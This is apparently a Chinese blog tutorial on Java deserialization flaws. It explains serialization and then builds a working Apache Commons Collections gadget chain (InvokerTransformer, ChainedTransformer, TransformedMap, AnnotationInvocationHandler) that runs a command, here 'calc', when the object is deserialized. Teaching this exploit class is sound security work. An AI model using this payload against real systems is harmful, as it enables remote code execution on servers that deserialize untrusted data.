Java反序列化漏洞

payload

什么是序列化和反序列化

序列化:是将对象的状态信息转换为可以存储或传输形式的过程。

反序列化:将对象数据从按照某一种标准,解析成对象,读取到内存。

那为什么要将对象序列化,或者说他的应用场景有哪些?

  • 我们都知道,程序运行,对象数据是保存到内存中的,那如果对象很多,会占据很多内存空间,但我们的内存是有限的,而且很贵,所以,需要长时间保存的对象,我们可以将这些对象保存到硬盘中,一方面,硬盘比内存便宜另一方面为了数据安全,内存断电数据就丢失了,但对象是一个抽象的数据结构,怎么保存到硬盘中,我们可以将对象,按照Io格式转换成一个字符串或者某个二进制的文件,这个就叫做序列化。
  • 还有一种情况,我们都知道服务器和服务器之间通讯,肯定要传输数据,数据传输肯定要约定某一个格式,所以说如果要传输对象,我们也需要将对象转换成每一种特定的格式,这也是序列化的一种应用场景。

一个类的对象要想序列化成功,必须满足两个条件

  • 该类必须实现java.io.Serializable接口。
  • 该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的。

该类有实现java.io.Serializable接口,在反序列化的时候会执行readObject()方法,举例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@Data
@AllArgsConstructor
@NoArgsConstructor
public class SerialTest implements Serializable {
private String name;
private Integer age;

private void readObject(java.io.ObjectInputStream in) throws Exception {
//默认执行的readObject()代码
in.defaultReadObject();
//调用服务器命令脚本
Runtime.getRuntime().exec("calc.exe");
Process process = Runtime.getRuntime().exec("ipconfig");

InputStream fis = process.getInputStream();
InputStreamReader isr = new InputStreamReader(fis);
BufferedReader br = new BufferedReader(isr);
String line = "";
while ((line = br.readLine()) != null){
System.out.println(line);
}
}
}

序列化与反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

public class test01 {
public static void main(String[] args) {
SerialTest winky = new SerialTest("Winky", 24);
try {
serializable(winky);
unSerializable();
} catch (Exception e) {
e.printStackTrace();
}
}


public static void serializable(SerialTest s) throws IOException {
//文件输出流
FileOutputStream file = new FileOutputStream("D:\\a.txt");
//创建对象输出流
ObjectOutputStream objOut = new ObjectOutputStream(file);
//将对象序列化
objOut.writeObject(s);
System.out.println("序列化成功");
file.close();
objOut.close();
}

public static void unSerializable() throws Exception {
FileInputStream inFile = new FileInputStream("D:\\a.txt");
ObjectInputStream objIn = new ObjectInputStream(inFile);
SerialTest serialTest = (SerialTest) objIn.readObject();
String name = serialTest.getName();
System.out.println(name);
System.out.println("反序列化成功");
inFile.close();
objIn.close();
}
}

构建类的要求:

  • 实现Serializable接口
  • 重写readObject()方法
  • 恶意命令可控(比如可以执行任意类的任意方法:反射实现)
  • 类必须存在与应用程序(比如自带类库、第三方jar包)
1
**Apache Commons Collections**

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库。

org.apache.commons.collections提供一个类包来扩展和增加标准的Java的collection框架,也就是说这些扩展也属于collection的基本概念,只是功能不同罢了。Java中的collection可以理解为一组对象,collection里面的对象称为collection的对象。具象的collection为set,list,queue等等,它们是集合类型。换一种理解方式,collection是set,list,queue的抽象。

但是,如果readObject这个方法里面或者调用的方法里面,存在能够执行任意类的任意方法的逻辑,我们是不是就闭环了。

在java里面什么东西可以执行执行任意类的任意方法?

InvokerTransformer实现类中重写了transform方法,传入的参数类型为Object,且通过反射可以执行里面的任意的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
//通过反射传入方法名称和类型
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}
1
2
3
4
5
6
7
8
public class test2 {
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
exec.transform(runtime);
}

}

但是上述代码并没有满足重写readObject()方法

TransformedMap类实现了Serializable方法,并且重写了readObject()方法。

由于TransformedMap构造器是protected修饰的

1
2
3
4
5
6
7
8
9
10
//protected修饰的
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
//调用此方法可以new一个对象
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public static void main(String[] args){
try {
//分别获取 getRuntime() , invoke() , exec() 方法 , 然后将这些实例对象添加到 this.iTransformers 数组中 , 从而获得一条完整的调用链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};

Transformer invokerTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> m1 = new HashMap<>();
m1.put("value","a");
Map<Object,Object> m2 = TransformedMap.decorate(m1, null, invokerTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cto = aClass.getDeclaredConstructor(Class.class, Map.class);
cto.setAccessible(true);
Object o = cto.newInstance(Retention.class, m2);


serializable(o);
unSerializable();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void serializable(Object o) throws Exception {
FileOutputStream file = new FileOutputStream("D:\\a.txt");
ObjectOutputStream objOut = new ObjectOutputStream(file);
objOut.writeObject(o);
System.out.println("序列化成功");
file.close();
objOut.close();
}

public static void unSerializable() throws Exception {
FileInputStream inFile = new FileInputStream("D:\\a.txt");
ObjectInputStream objIn = new ObjectInputStream(inFile);
objIn.readObject();
System.out.println("反序列化成功");
inFile.close();
objIn.close();
}

评论